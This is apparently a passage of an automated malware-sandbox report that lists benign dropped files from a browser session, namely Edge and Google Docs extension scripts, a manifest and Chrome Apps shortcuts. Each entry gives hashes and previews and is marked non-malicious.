SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir7520_536929042\4c3a7376-f9c3-4bf8-a01c-ba171b52f77d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7520_536929042\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7520_536929042\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7520_536929042\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7520_536929042\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 28 16:43:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9636492360260394
Encrypted:	false
SSDEEP:	48:8IydITs4cH9idAKZdA19ehwiZUklqehgy+3:8ufOzy
MD5:	5FF4888AC8730F5912C5C696E2847A73
SHA1:	18A969E2D9D976378B0627C46D94101130464F35
SHA-256:	286FE1145FC6AA397D981BA804123FD9029E8142D9A65A1A302DA892762927D7
SHA-512:	CFAB908E3E5A7622EAD014E2C4C50FD506C32F24EBED92DFE5BA3E933AE37F4FF9485BDCC336C01DABE5A7058C6D4608839026E0D4EB8BB0B1A299DD10176477
Malicious:	false
Preview:	L..................F.@.. ...$+.,......4.`)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\Ye.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\Ye.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\Ye.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\Ye............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\Yg............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Ow.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 28 16:43:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9810612192668002
Encrypted:	false
SSDEEP:	48:8mydITs4cH9idAKZdA1weh/iZUkAQkqehjy+2:8UfM9Qyy
MD5:	1D83751D9C133E0070A4B1AAF517040A
SHA1:	A187D800309549244E06ED000369452159D90D67
SHA-256:	3169B9E5E492B1B03FA18AEBD401FC10AF8574E716ECEB1FC2629AED9D6574B0
SHA-512:	5B71AD74FCB6FDA31782B9699484FA8D69AD5E07D39E140389488F636B5470D33079FE68CBB752276C9403208385F2561BCEBBBD0357B08C61A455557D5F068A
Malicious:	false
Preview:	L..................F.@.. ...$+.,....$.(.`)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\Ye.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\Ye.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\Ye.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\Ye............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\Yg............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Ow.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	3.9939906791423208
Encrypted:	false
SSDEEP:	48:8x+ydITs4sH9idAKZdA14tseh7sFiZUkmgqeh7sly+BX:8xMfUn/y
MD5:	D927B6E45C4DBEE0C0E54DADC4775C51
SHA1:	2793A91912AB7D767EC578FD7E6D6659DB996B2E
SHA-256:	5AC72026CEE5C4BA138FDB2CD216224D5FFFAC234957F5E8621808748F71866F
SHA-512:	6BD2997F3D9DED3F3128795051EB1BAF2D354D8E227C60EA7B751D6E6E909C6404E3708A57C57AEDBB928E89A3140C17454449E12F02FEFE8A93F73E41F856FA
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\Ye.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\Ye.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\Ye.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\Ye............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Ow.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 28 16:43:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.981259690440103
Encrypted:	false
SSDEEP:	48:8OyydITs4cH9idAKZdA1vehDiZUkwqehHy+R:8Lf3Ny
MD5:	6A9B444504FC5CBCE71D3FAA62676869
SHA1:	BF06DB16CCB840A5AF415F1C268393FB460416F3
SHA-256:	481224637EA043A6C4B78999A3C52F37A74D9CCDD3B24BED595E94443524F489
SHA-512:	9A3D2BD729F4E917C4A8F1DC60D9E176099134CEFDCEC6C3FB4CFD7C4481D098591CDD6CEBA80A17287C6333A49E04AC2E86A4AF3485F3157D385C00E839BED2
Malicious:	false
Preview:	L..................F.@.. ...$+.,......!.`)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\Ye.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\Ye.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\Ye.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\Ye............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\Yg............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Ow.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 28 16:43:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.968973166273543
Encrypted:	false
SSDEEP:	48:8h/ydITs4cH9idAKZdA1hehBiZUk1W1qehBy+C:8hlfH9hy
MD5:	56CFB84EB14536298CC540D1517E35B0
SHA1:	915F3DA5F3A99B3FFA665843E95875E1413180BE
SHA-256:	841464970221E6E499A049B9D4182FBABC48A690FD2EEC406E1708F1D98DC6ED
SHA-512:	54CD1A3CB8908DAFF19E069CFB247CC36A4066FC1A8A1C79820363D210A6D1259774189FEB8BFFB150F1CFA4A8B68A8C0F2EA84CB5F9B680713D24C0F06465E2
Malicious:	false
Preview:	L..................F.@.. ...$+.,....../.`)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\Ye.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\Ye.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\Ye.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\Ye............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\Yg............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Ow.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 28 16:43:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9773816150817405
Encrypted:	false
SSDEEP:	48:8yydITs4cH9idAKZdA1duT+ehOuTbbiZUk5OjqehOuTb/y+yT+:8wfPT/TbxWOvTb/y7T
MD5:	EF1E83BEDB6F014B4D58554412B5195A
SHA1:	C96822FF366A0BA68C0BA6F7B7AED365E3A017B3
SHA-256:	0CAFE0AB029D82AB7123A8B011F5C4EF0F81738067B8B7CBC4A1DE583A6C58CA
SHA-512:	382D06FF0006B50528AA08237D1C317E8C985B80F5BC08A790F254A2459B2B343F22CC93E2E876A0787365267BE0364C4DB32E1EA353D8F97B9FE9D9549A142D
Malicious:	false
Preview:	L..................F.@.. ...$+.,....R...`)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\Ye.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\Ye.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\Ye.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\Ye............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\Yg............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Ow.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. 